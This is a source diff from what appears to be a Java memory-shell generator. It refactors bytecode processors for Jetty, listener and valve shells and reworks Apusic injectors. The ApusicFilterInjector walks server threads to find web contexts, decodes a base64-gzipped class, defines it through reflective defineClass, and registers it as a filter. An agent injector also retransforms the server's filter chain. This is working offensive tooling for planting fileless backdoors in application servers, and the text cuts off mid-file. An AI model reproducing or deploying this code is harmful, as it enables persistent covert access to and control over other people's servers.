import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public class DebugOffBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
if (shellConfig.isDebugOff()) {
|
||||||
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
}
|
||||||
+22
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
}
|
||||||
+62
@@ -0,0 +1,62 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.asm.ClassSuperClassUtils;
|
||||||
|
import com.reajason.javaweb.asm.MethodUtils;
|
||||||
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.memshell.server.Jetty;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public class JettyHandlerPostProcessor implements Processor<byte[]> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
||||||
|
String shellType = shellConfig.getShellType();
|
||||||
|
if (server instanceof Jetty
|
||||||
|
&& (ShellType.HANDLER.equals(shellType)
|
||||||
|
|| ShellType.JAKARTA_HANDLER.equals(shellType))
|
||||||
|
) {
|
||||||
|
String superClassName = null;
|
||||||
|
String serverVersion = shellConfig.getServerVersion();
|
||||||
|
if (serverVersion != null) {
|
||||||
|
switch (serverVersion) {
|
||||||
|
case "6":
|
||||||
|
superClassName = "org/mortbay/jetty/handler/AbstractHandler";
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
|
||||||
|
bytes = ClassRenameUtils.relocateClass(bytes, "org/eclipse/jetty/server", "org/mortbay/jetty");
|
||||||
|
break;
|
||||||
|
case "7+":
|
||||||
|
superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
|
||||||
|
break;
|
||||||
|
case "12":
|
||||||
|
superClassName = "org/eclipse/jetty/server/Handler$Abstract";
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/Object;Ljava/lang/Object;)Z");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
|
||||||
|
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;)V");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (superClassName == null) {
|
||||||
|
throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion");
|
||||||
|
}
|
||||||
|
return ClassSuperClassUtils.addSuperClass(bytes, superClassName);
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
+73
@@ -0,0 +1,73 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.description.method.MethodDescription;
|
||||||
|
import net.bytebuddy.description.method.MethodList;
|
||||||
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
String shellType = shellConfig.getShellType();
|
||||||
|
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||||
|
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
||||||
|
String shellClassName = shellToolConfig.getShellClassName();
|
||||||
|
builder = modifier(builder,
|
||||||
|
server.getListenerInterceptor(),
|
||||||
|
shellToolConfig.getShellTypeDescription(),
|
||||||
|
shellClassName);
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, Class<?> implInterceptor,
|
||||||
|
TypeDescription typeDefinition, String newClassName) {
|
||||||
|
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
|
||||||
|
|
||||||
|
if (methods.filter(ElementMatchers.named("getResponseFromRequest")
|
||||||
|
.and(ElementMatchers.takesArguments(Object.class))
|
||||||
|
.and(ElementMatchers.returns(Object.class)))
|
||||||
|
.isEmpty()) {
|
||||||
|
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
|
||||||
|
" make sure arg and return type is Object.class");
|
||||||
|
} else {
|
||||||
|
builder = builder
|
||||||
|
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
||||||
|
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
|
||||||
|
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (methods.filter(named("getFieldValue")
|
||||||
|
.and(takesArguments(Object.class, String.class)))
|
||||||
|
.isEmpty()) {
|
||||||
|
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
|
.withParameters(Object.class, String.class)
|
||||||
|
.throwing(Exception.class)
|
||||||
|
.intercept(FixedValue.nullValue())
|
||||||
|
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
}
|
||||||
+18
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public class ShrinkPostProcessor implements Processor<byte[]> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
|
||||||
|
}
|
||||||
|
}
|
||||||
+42
-17
@@ -1,6 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.memshell.server.Bes;
|
import com.reajason.javaweb.memshell.server.Bes;
|
||||||
import com.reajason.javaweb.memshell.server.TongWeb;
|
import com.reajason.javaweb.memshell.server.TongWeb;
|
||||||
@@ -12,6 +17,7 @@ import net.bytebuddy.description.type.TypeDescription;
|
|||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.Implementation;
|
import net.bytebuddy.implementation.Implementation;
|
||||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||||
import net.bytebuddy.jar.asm.commons.Remapper;
|
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
@@ -20,9 +26,19 @@ import org.jetbrains.annotations.NotNull;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/22
|
* @since 2025/12/7
|
||||||
*/
|
*/
|
||||||
public class ValveGenerator {
|
public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
String shellType = shellConfig.getShellType();
|
||||||
|
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
||||||
|
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
||||||
|
builder = modifier(builder, server, shellConfig.getServerVersion());
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
|
||||||
public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
|
public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
|
||||||
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
||||||
@@ -30,24 +46,33 @@ public class ValveGenerator {
|
|||||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||||
|
|
||||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||||
String packageName = null;
|
String packageName = null;
|
||||||
if (serverVersion.equals("6")) {
|
if (shell instanceof Bes) {
|
||||||
packageName = TONGWEB6_VALVE_PACKAGE;
|
|
||||||
} else if (serverVersion.equals("7")) {
|
|
||||||
packageName = TONGWEB7_VALVE_PACKAGE;
|
|
||||||
} else if (serverVersion.equals("8")) {
|
|
||||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
|
||||||
} else if (shell instanceof Bes) {
|
|
||||||
packageName = BES_VALVE_PACKAGE;
|
packageName = BES_VALVE_PACKAGE;
|
||||||
}
|
}
|
||||||
if (StringUtils.isEmpty(packageName)) {
|
if (shell instanceof TongWeb) {
|
||||||
if (shell instanceof TongWeb) {
|
if (serverVersion == null) {
|
||||||
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
|
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||||
|
}
|
||||||
|
switch (serverVersion) {
|
||||||
|
case "6":
|
||||||
|
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||||
|
break;
|
||||||
|
case "7":
|
||||||
|
packageName = TONGWEB7_VALVE_PACKAGE;
|
||||||
|
break;
|
||||||
|
case "8":
|
||||||
|
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||||
}
|
}
|
||||||
return builder;
|
|
||||||
}
|
}
|
||||||
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
if (StringUtils.isNotBlank(packageName)) {
|
||||||
|
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||||
@@ -79,7 +104,7 @@ public class ValveGenerator {
|
|||||||
int readerFlags) {
|
int readerFlags) {
|
||||||
return new ClassRemapper(
|
return new ClassRemapper(
|
||||||
classVisitor,
|
classVisitor,
|
||||||
new Remapper() {
|
new Remapper(Opcodes.ASM9) {
|
||||||
@Override
|
@Override
|
||||||
public String map(String typeName) {
|
public String map(String typeName) {
|
||||||
String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
|
String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
|
||||||
+3
-7
@@ -40,7 +40,6 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
inst.retransformClasses(allLoadedClass);
|
inst.retransformClasses(allLoadedClass);
|
||||||
System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -61,6 +60,7 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
};
|
};
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||||
return cw.toByteArray();
|
return cw.toByteArray();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
@@ -77,12 +77,8 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
String signature, String[] exceptions) {
|
String signature, String[] exceptions) {
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
if (TARGET_METHOD_NAME.equals(name)) {
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
try {
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return mv;
|
return mv;
|
||||||
}
|
}
|
||||||
|
|||||||
+103
-29
@@ -3,11 +3,12 @@ package com.reajason.javaweb.memshell.injector.apusic;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -17,17 +18,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ApusicFilterInjector {
|
public class ApusicFilterInjector {
|
||||||
|
|
||||||
public ApusicFilterInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object filter = getShell(context);
|
|
||||||
inject(context, filter);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -41,48 +33,111 @@ public class ApusicFilterInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public ApusicFilterInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* context: com.apusic.web.container.WebContainer
|
* context: com.apusic.web.container.WebContainer
|
||||||
* context -> webapp: com.apusic.deploy.runtime.WebModule
|
* context -> webapp: com.apusic.deploy.runtime.WebModule
|
||||||
* /usr/local/ass/lib/apusic.jar
|
* /usr/local/ass/lib/apusic.jar
|
||||||
*/
|
*/
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("HouseKeeper")) {
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
// Apusic 9.0 SPX
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
contexts.add(getFieldValue(sessionManager, "container"));
|
||||||
|
} else if (thread.getName().contains("HTTPSession")) {
|
||||||
|
// Apusic 9.0.1
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
|
||||||
|
contexts.addAll(contextMap.values());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
|
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
|
||||||
|
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
|
||||||
|
ClassLoader defineLoader;
|
||||||
|
Object obj;
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
// Apusic 9.0 SPX,优先从当前 loader 进行加载
|
||||||
} catch (Exception e) {
|
defineShell(loader);
|
||||||
return ((ClassLoader) getFieldValue(context, "loader"));
|
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||||
|
obj = loader.loadClass(getClassName()).newInstance();
|
||||||
|
defineLoader = loader;
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
|
||||||
|
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
|
||||||
|
defineShell(internalLoader);
|
||||||
|
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||||
|
obj = loader.loadClass(getClassName()).newInstance();
|
||||||
|
defineLoader = internalLoader;
|
||||||
}
|
}
|
||||||
|
msg += "[" + defineLoader.getClass().getName() + "] ";
|
||||||
|
return obj;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private void defineShell(ClassLoader classLoader) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
|
||||||
} catch (Exception e) {
|
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
Object webModule = getFieldValue(context, "webapp");
|
Object webModule = getFieldValue(context, "webapp");
|
||||||
if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
System.out.println("filter already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
// addFilterMapping
|
// addFilterMapping
|
||||||
@@ -100,7 +155,11 @@ public class ApusicFilterInjector {
|
|||||||
Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass();
|
Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass();
|
||||||
Object filterMapper = getFieldValue(context, "filterMapper");
|
Object filterMapper = getFieldValue(context, "filterMapper");
|
||||||
invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings});
|
invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings});
|
||||||
System.out.println("filter injected successful");
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -155,7 +214,7 @@ public class ApusicFilterInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(fieldName);
|
throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -184,4 +243,19 @@ public class ApusicFilterInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+103
-35
@@ -3,11 +3,10 @@ package com.reajason.javaweb.memshell.injector.apusic;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
